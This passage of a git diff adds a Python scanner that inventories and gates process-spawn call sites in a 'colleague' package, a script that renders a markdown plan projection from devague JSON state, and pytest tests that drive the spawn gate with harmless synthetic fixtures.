found.append(Finding(module=rel, line=node.lineno, call=name, uses_shell=uses_shell)) + return found + + +def scan(root: Path) -> Inventory: + pkg = root / "colleague" + if not pkg.is_dir(): + raise InventoryError( + f"{pkg} is not a directory", + "pass the colleague repo root (the parent of the colleague/ package)", + ) + + inv = Inventory() + for path in sorted(pkg.rglob("*.py")): + rel = str(path.relative_to(pkg)) + for finding in scan_file(path, rel): + inv.findings.append(finding) + inv.modules.add(rel) + if rel not in ALLOWLIST: + inv.unclassified.append(finding) + return inv + + +def head_sha(root: Path) -> str: + try: + out = subprocess.run( # nosec B603,B607 - fixed argv, no shell, git from PATH + ["git", "-C", str(root), "rev-parse", "HEAD"], + capture_output=True, + text=True, + timeout=10, + check=False, + ) + return out.stdout.strip() or "unknown" + except (OSError, subprocess.SubprocessError): + return "unknown" + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(description="Inventory colleague's process-spawn paths.") + ap.add_argument("root", type=Path, help="path to the colleague repo root") + ap.add_argument("--json", action="store_true", dest="as_json") + ap.add_argument( + "--check", + action="store_true", + help="exit non-zero if an unclassified spawn path exists", + ) + args = ap.parse_args(argv) + + try: + inv = scan(args.root) + except InventoryError as exc: + print(f"error: {exc}", file=sys.stderr) + print(f"hint: {exc.hint}", file=sys.stderr) + return 2 + except OSError as exc: # unreadable checkout, broken permissions, … + print(f"error: cannot read {args.root}: {exc}", file=sys.stderr) + print("hint: check the checkout exists and is readable", file=sys.stderr) + return 2 + + sha = head_sha(args.root) + + by_profile: dict[str, int] = {} + for f in inv.findings: + profile = ALLOWLIST.get(f.module, ("unclassified", False))[0] + by_profile[profile] = by_profile.get(profile, 0) + 1 + + payload = { + "pinned_sha": PINNED_SHA, + "observed_sha": sha, + "sha_matches": sha == PINNED_SHA, + "spawn_sites": len(inv.findings), + "modules": len(inv.modules), + "by_profile": by_profile, + "shell_true_sites": [f"{f.module}:{f.line}" for f in inv.findings if f.uses_shell], + "unclassified": [f"{f.module}:{f.line} ({f.call})" for f in inv.unclassified], + "debt_modules": sorted(inv.debt_modules), + "debt_remaining": len(inv.debt_modules), + } + + if args.as_json: + print(json.dumps(payload, indent=2)) + else: + print(f"colleague inventory @ {sha[:12]} (pinned {PINNED_SHA[:12]})") + if not payload["sha_matches"]: + print(" NOTE: checkout differs from the pinned commit; counts may legitimately differ") + print(f" spawn sites : {payload['spawn_sites']} across {payload['modules']} modules") + for profile, count in sorted(by_profile.items()): + print(f" {profile:14s}: {count}") + print(f" shell=True : {', '.join(payload['shell_true_sites']) or 'none'}") + print(f" debt modules: {payload['debt_remaining']} (must reach 0 by Milestone 3)") + if inv.unclassified: + print(" UNCLASSIFIED (fails --check):") + for entry in payload["unclassified"]: + print(f" {entry}") + + if args.check and inv.unclassified: + print( + f"\nerror: {len(inv.unclassified)} unclassified spawn path(s)", + file=sys.stderr, + ) + print( + "hint: classify the module in ALLOWLIST, or route it through shell-cli", + file=sys.stderr, + ) + return 1 + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/render_plan.py b/scripts/render_plan.py new file mode 100644 index 0000000..3d7788f --- /dev/null +++ b/scripts/render_plan.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python3 +"""Render the workforce handoff bundle from authoritative devague state. + +`.devague/plans/.json` is the source of truth. This script writes a +**generated projection** of it into devague's own export lane, so the handoff +uses devague's normal layout and no invented directory: + + .devague/plans/.json # authoritative state (committed) + docs/specs/-.md # devague plan export lane + docs/plans/-.md # THIS projection, same path devague + # plan export will write when #85 lands + +`plan.md` must never be hand-edited — it carries a SHA-256 of the plan JSON it +was rendered from, and `--check` fails when the two disagree. Regenerate it +whenever the devague state changes. + +This exists because devague cannot currently export a milestone-scoped plan: +its coverage gate requires every confirmed target in the parent frame to be +covered by a task, so a plan that deliberately defers targets to later +milestones never converges. See +https://github.com/agentculture/devague/issues/85. When that lands, this +script should be deleted in favour of `devague plan export`. + +Usage:: + + python3 scripts/render_plan.py --slug guarded-local-operations-plane + python3 scripts/render_plan.py --slug --check # CI drift gate +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import sys +from datetime import datetime, timezone +from pathlib import Path + +REPO = Path(__file__).resolve().parents[1] +DEVAGUE_ISSUE = "https://github.com/agentculture/devague/issues/85" +GENERATED_MARKER = "" + + +def sha256_of(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def waves_from(tasks: list[dict]) -> list[list[str]]: + """Kahn layering over confirmed tasks; mirrors `devague plan waves`.""" + active = {t["id"]: t for t in tasks if t.get("status") == "confirmed"} + remaining = dict(active) + placed: set[str] = set() + waves: list[list[str]] = [] + while remaining: + layer = sorted( + tid + for tid, t in remaining.items() + if all(d in placed or d not in active for d in (t.get("deps") or [])) + ) + if not layer: # cycle — report rather than loop forever + waves.append(sorted(remaining)) + break + waves.append(layer) + placed.update(layer) + for tid in layer: + remaining.pop(tid) + return waves + + +def render(plan: dict, plan_path: Path, stamp: str) -> str: + tasks = plan.get("tasks", []) + confirmed = [t for t in tasks if t.get("status") == "confirmed"] + targets = {t["id"] for t in plan.get("targets", [])} + covered = {c for t in confirmed for c in (t.get("covers") or [])} + deferred = sorted(targets - covered) + risks = plan.get("risks", []) + by_id = {t["id"]: t for t in confirmed} + + out: list[str] = [] + a = out.append + + a(GENERATED_MARKER) + a(f"# Plan projection — {plan.get('slug', '?')}") + a("") + a("> **This file is a generated projection, not an authored plan.**") + a( + "> The authoritative state is `.devague/plans/" + + str(plan.get("slug", "?")) + + ".json`. Do not edit" + ) + a("> this file; regenerate it with `scripts/render_plan.py` whenever the JSON") + a("> changes. Any divergence between the two means this file is stale.") + a("") + a(f"- **Plan slug**: `{plan.get('slug', '?')}`") + a(f"- **Source frame**: `{plan.get('frame_slug', '?')}`") + a(f"- **Generated**: {stamp}") + a(f"- **Source**: `{plan_path.relative_to(REPO).as_posix()}`") + a(f"- **SHA-256 of source**: `{sha256_of(plan_path)}`") + a(f"- **Confirmed tasks**: {len(confirmed)}") + a(f"- **Coverage**: {len(covered & targets)} / {len(targets)} targets") + a("") + a("## Why this file exists") + a("") + a("`devague plan export` cannot render this plan. Its coverage gate requires") + a("every confirmed target in the parent frame to be covered by a task, but this") + a("plan is deliberately milestone-scoped and defers the targets listed below to") + a("separately scoped plans. Adding placeholder tasks to satisfy the gate would") + a("mean claiming delivery of work this plan does not do, so the plan is exported") + a("through this projection instead.") + a("") + a(f"Tracked upstream as <{DEVAGUE_ISSUE}>. When deferred-target semantics land,") + a("delete this script and use `devague plan export`.") + a("") + + a("## Execution waves") + a("") + a("Dependency layering over confirmed tasks. Same-wave tasks have no") + a("inter-task dependencies; file disjointness is asserted per task under") + a("`owns:` and must be re-checked before fan-out.") + a("") + a("```text") + for i, wave in enumerate(waves_from(tasks)): + a(f"wave {i}: {', '.join(wave)}") + a("```") + a("") + + a("## Tasks") + a("") + for tid in sorted(by_id, key=lambda x: int(x[1:])): + t = by_id[tid] + a(f"### `{tid}`") + a("") + a(t.get("summary", "")) + a("") + deps = t.get("deps") or [] + a(f"- **Depends on**: {', '.join(f'`{d}`' for d in deps) if deps else '_none_'}") + covers = t.get("covers") or [] + a(f"- **Covers**: {', '.join(f'`{c}`' for c in covers) if covers else '_none_'}") + crit = t.get("acceptance_criteria") or [] + a(f"- **Acceptance criteria** ({len(crit)}):") + for c in crit: + a(f" - {c}") + a("") + + a("## Deferred targets") + a("") + a("These are **confirmed roadmap requirements**, deliberately not covered by") + a("this plan and deferred to separately scoped plans. No task in this plan") + a("claims to deliver them.") + a("") + if deferred: + for tid in deferred: + a(f"- `{tid}`") + else: + a("_none_") + a("") + + open_risks = [r for r in risks if not r.get("resolved")] + closed_risks = [r for r in risks if r.get("resolved")] + + a("## Open risks") + a("") + if open_risks: + for r in open_risks: + a(f"- **`{r.get('id')}`** ({r.get('kind')}): {r.get('text')}") + else: + a("_none_") + a("") + + if closed_risks: + a("## Resolved risks") + a("") + a("Retained for the audit trail. These are NOT live — do not action them.") + a("") + for r in closed_risks: + a(f"- **`{r.get('id')}`** ({r.get('kind')}) — {r.get('resolution', 'resolved')}") + a("") + + a("---") + a("") + a(f"{GENERATED_MARKER}") + return "\n".join(out) + "\n" + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(description="Render the workforce handoff bundle.") + ap.add_argument("--slug", required=True) + ap.add_argument("--check", action="store_true", help="fail if plan.md is stale") + args = ap.parse_args(argv) + + plan_path = REPO / ".devague" / "plans" / f"{args.slug}.json" + if not plan_path.is_file(): + print(f"error: no devague plan state at {plan_path}", file=sys.stderr) + print("hint: run 'devague plan show' to list plans", file=sys.stderr) + return 2 + + plan = json.loads(plan_path.read_text(encoding="utf-8")) + created = str(plan.get("created", ""))[:10] or "undated" + out_dir = REPO / "docs" / "plans" + md_path = out_dir / f"{created}-{args.slug}.md" + + if args.check: + if not md_path.is_file(): + print(f"error: {md_path} missing — run render_plan.py", file=sys.stderr) + return 1 + digest = sha256_of(plan_path) + if digest not in md_path.read_text(encoding="utf-8"): + print("error: plan.md is stale — devague state changed", file=sys.stderr) + print(f"hint: regenerate with render_plan.py --slug {args.slug}", file=sys.stderr) + return 1 + print(f"plan.md is current ({digest[:12]})") + return 0 + + out_dir.mkdir(parents=True, exist_ok=True) + stamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%SZ") + + md_path.write_text(render(plan, plan_path, stamp), encoding="utf-8") + print(f"wrote {md_path.relative_to(REPO)}") + print(f" projection of .devague/plans/{args.slug}.json") + print(f" sha256 {sha256_of(plan_path)[:12]}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_colleague_inventory.py b/tests/test_colleague_inventory.py new file mode 100644 index 0000000..d49e95d --- /dev/null +++ b/tests/test_colleague_inventory.py @@ -0,0 +1,208 @@ +"""The known-debt gate: `colleague_inventory.py --check`. + +The gate exists so a *new* unclassified process-spawn path in colleague fails +CI immediately, while the already-known paths are tracked as scheduled +migrations that must reach zero by Milestone 3. + +A gate that only ever runs against a checkout where it passes is not a tested +gate. These tests drive both directions against **synthetic fixtures**, so they +prove the failing direction without needing a real colleague checkout — which +CI does not have when this file runs. +""" + +from __future__ import annotations + +import importlib.util +import json +import sys +from pathlib import Path + +import pytest + +_SCRIPT = Path(__file__).resolve().parents[1] / "scripts" / "colleague_inventory.py" + + +def _load_scanner(): + """Import the scanner by path — `scripts/` is deliberately not a package.""" + spec = importlib.util.spec_from_file_location("colleague_inventory", _SCRIPT) + assert spec is not None and spec.loader is not None + module = importlib.util.module_from_spec(spec) + sys.modules[spec.name] = module + spec.loader.exec_module(module) + return module + + +inventory = _load_scanner() + + +def _fixture(tmp_path: Path, modules: dict[str, str]) -> Path: + """Build a synthetic colleague checkout: /colleague/.py.""" + pkg = tmp_path / "colleague" + pkg.mkdir() + (pkg / "__init__.py").write_text("", encoding="utf-8") + for rel, source in modules.items(): + target = pkg / rel + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(source, encoding="utf-8") + return tmp_path + + +_SPAWNS = "import subprocess\n\n\ndef go():\n subprocess.run(['true'], check=False)\n" +_SPAWNS_SHELL = "import subprocess\n\n\ndef go():\n subprocess.run('true', shell=True)\n" +_INERT = "def go():\n return 'subprocess.run is only a string here'\n" + + +# --- the failing direction: a NEW unclassified spawn path ------------------ + + +def test_unclassified_spawn_is_reported(tmp_path): + """A spawning module absent from ALLOWLIST is unclassified.""" + root = _fixture(tmp_path, {"rogue.py": _SPAWNS}) + assert "rogue.py" not in inventory.ALLOWLIST + + inv = inventory.scan(root) + + assert [f.module for f in inv.unclassified] == ["rogue.py"] + assert inv.findings[0].call == "subprocess.run" + + +def test_check_exits_nonzero_on_unclassified_spawn(tmp_path, capsys): + """--check must FAIL when an unclassified path appears. This is the gate.""" + root = _fixture(tmp_path, {"rogue.py": _SPAWNS}) + + assert inventory.main([str(root), "--check"]) != 0 + + err = capsys.readouterr().err + assert "error:" in err + assert "hint:" in err + + +def test_check_flags_unclassified_even_beside_allowlisted(tmp_path): + """One rogue module fails the gate even when known-debt modules dominate.""" + root = _fixture(tmp_path, {"tools.py": _SPAWNS, "rogue.py": _SPAWNS}) + + assert inventory.main([str(root), "--check"]) == 1 + + +# --- the passing direction: only allow-listed spawn paths ------------------ + + +def test_check_exits_zero_when_all_spawns_are_allowlisted(tmp_path): + """Every spawning module classified in ALLOWLIST -> gate passes.""" + root = _fixture(tmp_path, {"tools.py": _SPAWNS, "worktrees.py": _SPAWNS}) + + assert inventory.main([str(root), "--check"]) == 0 + + +def test_check_exits_zero_with_no_spawns_at_all(tmp_path): + """A spawn-free checkout is vacuously clean, not an error.""" + root = _fixture(tmp_path, {"quiet.py": _INERT}) + + inv = inventory.scan(root) + assert inv.findings == [] + assert inventory.main([str(root), "--check"]) == 0 + + +# --- what CI publishes ----------------------------------------------------- + + +def test_json_payload_publishes_debt_remaining(tmp_path, capsys): + """CI reads debt_remaining off --json; it is derived from ALLOWLIST.""" + root = _fixture(tmp_path, {"tools.py": _SPAWNS, "background.py": _SPAWNS}) + + assert inventory.main([str(root), "--json"]) == 0 + payload = json.loads(capsys.readouterr().out) + + assert payload["spawn_sites"] == 2 + assert payload["modules"] == 2 + assert payload["unclassified"] == [] + # background.py is debt=False (stays in colleague); tools.py is debt=True. + assert payload["debt_modules"] == ["tools.py"] + assert payload["debt_remaining"] == 1 + assert payload["by_profile"] == {"project": 1, "control": 1} + + +def test_debt_remaining_counts_only_debt_true_modules(): + """The committed ALLOWLIST is the source of the published counter.""" + debt = [m for m, (_, is_debt) in inventory.ALLOWLIST.items() if is_debt] + assert len(debt) == 13, "debt baseline changed — update CLAUDE.md's M3 target too" + + +def test_pinned_sha_is_recorded(tmp_path, capsys): + """The gate names the commit it was characterized against.""" + assert inventory.PINNED_SHA == "28fee290c51fc4310b9fc576981809ad5c3132c6" + assert inventory.PINNED_VERSION == "1.51.0" + + root = _fixture(tmp_path, {"quiet.py": _INERT}) + assert inventory.main([str(root), "--json"]) == 0 + payload = json.loads(capsys.readouterr().out) + assert payload["pinned_sha"] == inventory.PINNED_SHA + + +def test_shell_true_sites_are_surfaced(tmp_path, capsys): + """shell=True is the highest-risk shape; it is reported explicitly.""" + root = _fixture(tmp_path, {"hooks.py": _SPAWNS_SHELL}) + + assert inventory.main([str(root), "--json"]) == 0 + payload = json.loads(capsys.readouterr().out) + assert payload["shell_true_sites"] == ["hooks.py:5"] + + +# --- scanner robustness ---------------------------------------------------- + + +def test_missing_colleague_package_is_an_environment_error(tmp_path, capsys): + """A broken invocation must fail loudly with exit 2 and no traceback. + + Exit 2 (environment error) is distinct from exit 1 (gate failure) so CI can + tell "the clone/setup is broken" from "a new unclassified path landed". A + gate that silently no-ops is worse than no gate. + """ + rc = inventory.main([str(tmp_path), "--check"]) + + assert rc == 2 + err = capsys.readouterr().err + assert "error:" in err + assert "hint:" in err + assert "Traceback" not in err + + +def test_unparseable_module_is_skipped_not_fatal(tmp_path): + """A syntax error in colleague must not crash the gate.""" + root = _fixture(tmp_path, {"broken.py": "def (:\n", "tools.py": _SPAWNS}) + + inv = inventory.scan(root) + assert inv.modules == {"tools.py"} + + +def test_local_name_shadowing_a_spawn_call_is_not_counted(tmp_path): + """AST matching is on the dotted path — a local `run()` is not a spawn.""" + root = _fixture(tmp_path, {"rogue.py": "def run(x):\n pass\n\n\nrun(['true'])\n"}) + + assert inventory.scan(root).findings == [] + + +def test_nested_module_paths_are_reported_relative_to_package(tmp_path): + """resident/steward.py is allow-listed by its package-relative path.""" + root = _fixture(tmp_path, {"resident/steward.py": _SPAWNS}) + + inv = inventory.scan(root) + assert inv.modules == {"resident/steward.py"} + assert inv.unclassified == [] + + +@pytest.mark.parametrize( + "source", + [ + "import subprocess\nsubprocess.Popen(['true'])\n", + "import subprocess\nsubprocess.check_output(['true'])\n", + "import os\nos.system('true')\n", + "import asyncio\nasyncio.create_subprocess_exec('true')\n", + ], +) +def test_every_spawn_shape_is_detected(tmp_path, source): + """os.system and the asyncio spawners are zero in colleague today — but the + gate must still catch them if one appears.""" + root = _fixture(tmp_path, {"rogue.py": source}) + + assert inventory.main([str(root), "--check"]) == 1 diff --git a/uv.lock b/uv.lock index 38e364f..6c53204 100644 --- a/uv.lock +++ b/uv.lock @@ -430,7 +430,7 @@ wheels = [ [[package]] name = "shell-cli" -version = "0.8.0" +version = "0.8.2" source = { editable = "." } [package.dev-dependencies]